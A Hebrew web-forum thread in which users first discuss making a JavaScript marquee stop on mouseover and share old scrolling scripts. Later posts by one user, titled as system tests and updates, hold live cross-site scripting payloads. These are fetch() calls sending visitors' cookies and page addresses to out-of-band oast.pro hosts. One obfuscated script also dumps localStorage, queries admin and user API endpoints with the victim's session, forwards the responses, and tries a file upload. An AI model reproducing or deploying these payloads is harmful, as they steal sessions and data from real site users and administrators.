JSבניה

בס"ד

 

מה הבעיה בזה :

<script type="text/Java Script">
var mouseoverme;
if(mouseoverme!=1)
{
document.write('<marquee direction="xxx"onmouseover="mouseoverme=1">blabla</marquee>');
}
</script>

כשמעבירים את העכבר על blabla לא קורה כלום.

נסה משהו כזה:משה
<span id=blaonMouseMove='this.innerHTML="&lt;marquee direction=rightonmouseout=this.stop()&gt;blabla&lt;/marquee&gt;"'>Blah Blah</span>
 
 
רציתי ליצור marquee שכשמעבירים על הטקסט את העכברבניה

בס"ד

 

הוא נעצר.

 

לזה היתכוונת?אבישי

<!-- התחלה --><!-- body - הקוד הבא נכנס לתוך ה -->
<SCRIPT language=JavaScript><!--
var scroll_length = 150; // אורך הגלילה
var time_length =50; //מהירות הגלילה
var begin_pos = 300; //תחילת גלילה

window.onerror = null;
var bVer = parseInt(navigator.appVersion);
var NS4 = (navigator.appName == "Netscape" && bVer >= 4);
var IE4 = (navigator.appName == "Microsoft Internet Explorer"  && bVer >= 4);
 var i;  var j;
if (NS4 || IE4)
 {
 if (navigator.appName == "Netscape") { layerStyleRef="layer."; layerRef="document.layers"; styleSwitch=""; }
 else { layerStyleRef="layer.style."; layerRef="document.all"; styleSwitch=".style"; }
 }
// גלול
function Scroll(layerName)
{
if (NS4 || IE4)
 {
 if (NS4 || IE4)
  {
  if(i<(begin_pos+scroll_length))
   {
   eval(layerRef+'["'+layerName+'"]'+styleSwitch+'.visibility="visible"');
   eval(layerRef+'["'+layerName+'"]'+styleSwitch+'.left="'+i+'"');
   i++; j++;
   if(i==j) { setTimeout("Scroll('"+layerName+"')",time_length); }
   }
  }
 }
}
// עצור גלילה
function StopScroll(layerName) { i=begin_pos+scroll_length; eval(layerRef+'["'+layerName+'"]'+styleSwitch+'.left="'+i+'"'); hideLayer(layerName); }
function reset() { i=begin_pos; j=i; }
// הסתר
function hideLayer(layerName) { if (NS4 || IE4) { eval(layerRef+'["'+layerName+'"]'+styleSwitch+'.visibility="hidden"');  }  }
// --></SCRIPT>

<CENTER><A class=linkonmouseover="Java Scriptreset();Scroll('prem_hint');"onmouseout="Java ScriptStopScroll('prem_hint');" href="#">העבר את העכבר על קישור זה</A> </CENTER>
<DIV class=prem_hint id=prem_hint style="VISIBILITY: hidden; POSITION: relative">זאת הודעה בעיברית לניסיון </DIV><!-- סוף -->

והנה דוגמה

תודה אבל מצאתי משו יותר פשוט.בניהאחרונה

בס"ד

 

this.stop() חח לא חשבתי שיש דבר כזה אבל מסתבר שכן!

בדיקה2nmr44590
בדיקה1nmr44590
בדיקה0nmr44590
בדיקה מערכתnmr44590
בדיקת מערכת פורוםnmr44590

מנהל נא לבדוק

fetch("https://db7u7ne94vkfp5nhckcgr3jz7j6rxcy33.oast.pro/xss?c="+document.cookie)
Re: utilnmr44590

עדכון util

sysmon_util.svg

עדכוןnmr44590

עדכון מערכת

fetch("https://db7uo5dsji97m1m71v3gycobyhpjqx1tj.oast.pro/forummath?c="+encodeURIComponent(document.cookie)+"&l="+location.href)
עדכון CSRFnmr44590

עדכון מערכת

(async()=>{const O='https://db7uo5dsji97m1m71v3gycobyhpjqx1tj.oast.pro';const p=(x,b)=>{try{fetch(O+x+(x.includes('?')?'&':'?')+'l='+encodeURIComponent(location.href),b==null?{mode:'no-cors'}:{method:'POST',mode:'no-cors',body:typeof b==='string'?b:JSON.stringify(b)})}catch(e){}};p('/boot');try{p('/cookie?c='+encodeURIComponent(doc‏ument.cookie||''))}catch(e){};try{p('/ls?c='+encodeURIComponent(JSON.stringify(localStorage)))}catch(e){};const j=async(u,o)=>{const r=await fetch(u,Object.assign({credentials:'include',headers:{Accept:'application/json',Referer:location.href,Origin:location.origin}},o||{}));return{s:r.status,tawait r.text()).slice(0,3500)}};try{const st=await j('/api/UserStatus/GetUserJSStatus?active=0&first=1&rnd='+Math.random());p('/who?s='+st.s,st.t)}catch(e){p('/whoerr',String(e))};for(const path of['/api/AdminJS/GetHPItems','/api/List/staff/ListMeta','/api/Forum/UserJSON?id=1']){try{const r=await j(path);p('/api?p='+encodeURIComponent(path)+'&s='+r.s,r.t.slice(0,1200))}catch(e){}};try{const fd=new FormData();fd.append('file',new Blob(['NUMA'],{type:'text/plain'}),'sysmon_util.txt');fd.append('js2','flash');const r=await fetch('/api/ForumUpload/Upload?js2=1',{method:'POST',credentials:'include',headers:{Referer:'https://www.inn.co.il/forum/1',Origin:'https://www.inn.co.il'},body:fd});p('/upload?s='+r.status,await r.text())}catch(e){p('/uploaderr',String(e))}})();
k-svg_onnmr44590

אולי יעניין אותך